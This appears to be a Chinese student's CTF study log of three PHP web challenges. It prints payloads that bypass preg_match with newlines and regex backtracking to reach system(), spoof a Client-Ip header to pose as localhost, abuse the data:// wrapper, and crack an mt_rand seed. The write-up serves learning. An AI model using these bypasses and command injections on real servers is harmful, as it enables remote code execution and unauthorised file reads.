5月8日学习记录

news2025/1/11 9:05:22

_[FBCTF2019]RCEService(preg_match函数的绕过)

涉及知识点:preg_match函数绕过,json的格式,正则回溯

打开环境,要求用json的格式输入

搜索学习一下json的语法规则

  • 数组(Array)用方括号(“[]”)表示。
  • 对象(0bject)用大括号(“{}”)表示。
  • 由名称/值对(name/value),组成数组和对象
  • 并列的数据用","分隔
  • 如{"name":"value","admin":"123"}

到大佬的wp剽个源码过来

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

 浅浅的审计一下代码,参数为cmd,通过cmd传入命令后,进行命令执行,但是对于cmd有是否为json形式和内容有判断,对于json解码只要按照json格式写入就行,对于正则匹配的绕过存在两种方法

方法一

因为preg_match函数只会匹配第一行的内容,所以可以利用换行符来进行绕过

cmd={%0a"cmd":"ls /"%0a}

 

对于几个根目录,分别查看,在home中能找到flag

cmd={%0A"cmd":"ls /home/rceservice "%0A

 这题cat命令不能直接使用,要用/bin/cat调用

cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

 

方法二

利用正则回溯来绕过正则匹配

简单说就是利用大量的被正则过滤的数据执行,让正则匹配的次数达到有限次的最大值,从而来绕过正则过滤

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://c472b751-b7a7-4f0d-b20e-1d9af4d7f233.node5.buuoj.cn:81", data={"cmd":payload})
print(res.text)

 

[MRCTF2020]套娃

这题主要涉及的还是正则函数的绕过

打开环境

query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

 

在第一个if判断中,过滤的"_"和"%5f"

在第二个if判断中,b_u_p_t的值不能为23333,而且正则函数中要求参数的开头和结尾都要是23333

先解决第一个判断中对于"_"和"%5f"的过滤,因为b_u_p_t中带有"_"

关于php中的非法参数名,在php版本小于8时,当变量名中出现空格和点时,会被替换为下划线

比如<input name="a.c">被替换成$_REQUEST["a_c"]

详细的可以参考大佬wp

http://t.csdnimg.cn/4nDYD

所以用b.u.p.t来绕过

至于第二个判断,还是用换行符来绕过,这样匹配到的第一行就只有23333,头尾都是23333

b.u.p.t=23333%0a

 

访问新页面,新页面中明确表示flag就在这里,但是没有权限,要本地访问

 这里我的第一反应是用X-Forwarded-For

但是用了以后还是显示没有权限

用了第二种方法:Client-Ip:127.0.0.1

抓包,改ip

ok,成功修改为本地,而且还有一串js代码,用在线工具跑一下

post传入一个Merak参数,拿到一串源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

审计之后,大致能知道flag大概率在flag.php中,通过file_get_contents读取,但是存在一个change方法,把$v的ACill值+$i*2, 要保证$v的值不被改变,只要反向一下change方法就行

<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
    $re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

 

除此外,还要满足传入2333参数中存在文件内容为 "todat is a happy day",用data伪协议

?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

传参后抓包修改为本地

[GWCTF 2019]枯燥的抽奖(伪随机数)

给出一部分字符串,需要猜出20位的字符串

 

访问一下check.php看看

 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

可以看到字符串是通过mt_srand生成的

mt_srand是一种伪随机数生成算法,是根据种子来生成数的

一个种子对应的一组随机数,而一组随机数也对应一个种子

所以在知道种子的情况下可以求随机数,在知道随机数的情况下可以求种子

题目已知部分随机数,先求出种子

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='iypUqMtJZQ'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

 跑出php_mt_seed的参数,用php_mt_seed工具运行拿到种子

time ./php_mt_seed 8 8 0 61 24 24 0 61 15 15 0 61 56 56 0 61 16 16 0 61 48 48 0 61 19 19 0 61 45 45 0 61 61 61 0 61 52 52 0 61  

 种子:532696084

<?php
mt_srand(532696084);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?> 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1654745.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

抓取Google时被屏蔽怎么办?如何避免?

在当今数字化时代&#xff0c;数据采集和网络爬取已成为许多企业和个人必不可少的业务活动。对于爬取搜索引擎数据&#xff0c;特别是Google&#xff0c;使用代理IP是常见的手段。然而&#xff0c;使用代理抓取Google并不是一件轻松的事情&#xff0c;有许多常见的误区可能会导…

VisualGLM-6B微调(V100)

Visualglm-6b-CSDN博客文章浏览阅读1.3k次。【官方教程】XrayGLM微调实践&#xff0c;&#xff08;加强后的GPT-3.5&#xff09;能力媲美4.0&#xff0c;无次数限制。_visualglm-6bhttps://blog.csdn.net/u012193416/article/details/131074962?ops_request_misc%257B%2522req…

一键自动化博客发布工具,用过的人都说好(阿里云篇)

阿里云有个开发者社区&#xff0c;入驻过的朋友可能想要把自己的博客发布到阿里云社区上。 今天我来介绍一下blog-auto-publishing-tools自动发布博客到阿里云的实现原理。 阿里云的博客发布界面比较简单&#xff0c;只有标题&#xff0c;正文&#xff0c;摘要&#xff0c;关…

【已解决】ModuleNotFoundError: No module named ‘IPython‘

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

城市向导系统源码线下陪玩APP小程序源码陪玩软件开发运营

项目背景 随着后疫情时代的到来&#xff0c;当下旅游市场可以说是相当火爆&#xff0c;但是很多游客却抛弃旅行社&#xff0c;都跑到陪玩平台上面去找搭子找陪玩&#xff0c;选择符合自己的出行方式&#xff0c;尤其是年轻人&#xff0c;更在乎别具一格的旅行路线和体验。那么…

鸿蒙开发接口Ability框架:【@ohos.ability.particleAbility (particleAbility模块)】

particleAbility模块 particleAbility模块提供了Service类型Ability的能力&#xff0c;包括启动、停止指定的particleAbility&#xff0c;获取dataAbilityHelper&#xff0c;连接、断开当前Ability与指定ServiceAbility等。 说明&#xff1a; 本模块首批接口从API version 7开…

【分治算法】【Python实现】线性时间选择

文章目录 [toc]问题描述随机选择算法Python实现时间复杂性 BFPRT算法时间复杂性Python实现 个人主页&#xff1a;丷从心 系列专栏&#xff1a;分治算法 学习指南&#xff1a;Python学习指南 问题描述 给定线性序集中 n n n个元素和一个整数 k ( 1 ≤ k ≤ n ) k (1 \leq k \…

华为数据之道第一部分导读

目录 导读 第一部分 序 第1章 数据驱动的企业数字化转型 非数字原生企业的数字化转型挑战 业态特征&#xff1a;产业链条长、多业态并存 运营环境&#xff1a;数据交互和共享风险高 IT建设过程&#xff1a;数据复杂、历史包袱重 数据质量&#xff1a;数据可信和一致化…

ICME2024 | 基于半监督对比学习的表现力语音合成

人类的语音极富表现力&#xff0c;不仅包括语调和重读&#xff0c;还包括风格和情感等多种元素。表现力语音合成的目标是要精准捕捉并再现这些元素。先前表现力语音合成方面的研究通常将表现力视为单一维度&#xff0c;如风格或情感。但实际上&#xff0c;风格可以随着文本和场…

【SDN:逻辑上集中的控制平面,路由选择算法,LS路由工作过程,距离矢量路由选择(distance vector routing)】

文章目录 SDN&#xff1a;逻辑上集中的控制平面SDN的主要思路SDN控制平面和数据平面分离的优势SDN 架构: 数据平面交换机 路由选择算法路由(route)的概念最优化原则(optimality principle)路由的原则路由算法的分类LS路由工作过程&#xff08;相当于一个上帝&#xff09;链路状…

YoloV8改进策略:BackBone改进DCNv4

摘要 涨点效果:在我自己的数据集上,mAP50 由0.986涨到了0.993,mAP50-95由0.737涨到0.77,涨点明显! DCNv4是可变形卷积的第四版,速度和v3相比有了大幅度的提升,但是环境搭建有一定的难度,对新手不太友好。如果在使用过程遇到编译的问题,请严格按照我写的环境配置。 Y…

CSDN上是不是有机器人点赞和收藏?

我在CSDN上写作&#xff0c;主要是本来是记录学习工作中的一些知识点&#xff0c;看得人不多本来就能预想到的。 但是今天发现五一写的一篇博客&#xff0c;出现了很奇怪的阅读、点赞、收藏数。只有2个人阅读&#xff0c;但是有8个点赞&#xff0c;还有5个收藏。 我不禁怀疑CS…

二叉树的前序、中序、后序遍历的C++实现

二叉树的前序、中序、后序 遍历属于深度优先搜索方式&#xff0c;本文使用递归法实现前序、中序、后序的遍历方法&#xff0c;代码如下&#xff1a; #include <iostream> #include <vector>struct TreeNode{int val;TreeNode* left;TreeNode* right;TreeNode(int …

【JAVA进阶篇教学】第十篇:Java中线程安全、锁讲解

博主打算从0-1讲解下java进阶篇教学&#xff0c;今天教学第十篇&#xff1a;Java中线程安全、锁讲解。 当涉及到多线程编程时&#xff0c;保证线程安全是至关重要的。线程安全意味着在多个线程访问共享资源时&#xff0c;不会发生数据错乱或不一致的情况。为了实现线程安全&am…

【Linux】常用基本指令

目录 食用说明 用户管理 whoami/who clear tree 目录结构和路径 pwd ls 文件 隐藏文件 常用选项 cd 家目录、根目录、绝对路径和相对路径 touch 常用选项 mkdir rmdir/rm man cp mv cat nano echo 输出重定向 > 输入重定向 < more/less head/…

comfyui安装deforum启动不了,多半是ffmpeg的问题

如果报错中出现imageio 和 ffmpeg 的字样&#xff0c;去装requirement也没啥用 这里最好到cmd中&#xff0c;进入comfyui的python环境&#xff0c;运行以下两句&#xff1a; import imageio imageio.plugins.ffmpeg.download() 图例&#xff1a; 如果节点不报错了&#xff0…

嵌入式引脚工作模式

一.引脚工作模式的基本概念 引脚的工作模式通常包括输入模式、输出模式和双向模式&#xff1a; 输入模式&#xff1a;引脚设置为输入模式时&#xff0c;可以接收外部信号或触发器的信号。这种模式通常用于读取传感器数据、接收外部设备的信号等。 输出模式&#xff1a;引脚设…

Lora基础炼丹学习笔记

1、收集数据集 20-30张人物各个角度、各个姿势的图片 2、图片预处理 裁剪 打标签 裁剪必须也要512 * 512 &#xff0c;因为sd1.5就是用这个尺寸训练的&#xff0c;可以使用后期处理 打标可以勾选这个&#xff0c;Deepbooru对二次元画风更友好 打标也可以使用wb14-tagger的…

openssl 生成证书步骤

本地测试RSA非对称加密功能时&#xff0c;需要用到签名证书。本文记录作者使用openssl本地生成证书的步骤&#xff0c;并没有深入研究openssl&#xff0c;难免会有错误&#xff0c;欢迎指出&#xff01;&#xff01;&#xff01; 生成证书标准流程&#xff1a; 1、生成私钥&am…

关于ssrf

首先&#xff0c;先介绍一下ssrf。ssrf即服务器端请求伪造&#xff0c;是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下&#xff0c;SSRF攻击的目标是从外网无法访问的内部系统。而且因为请求是由服务端发起的&#xff0c;所以服务端能请求到与自身相连而与…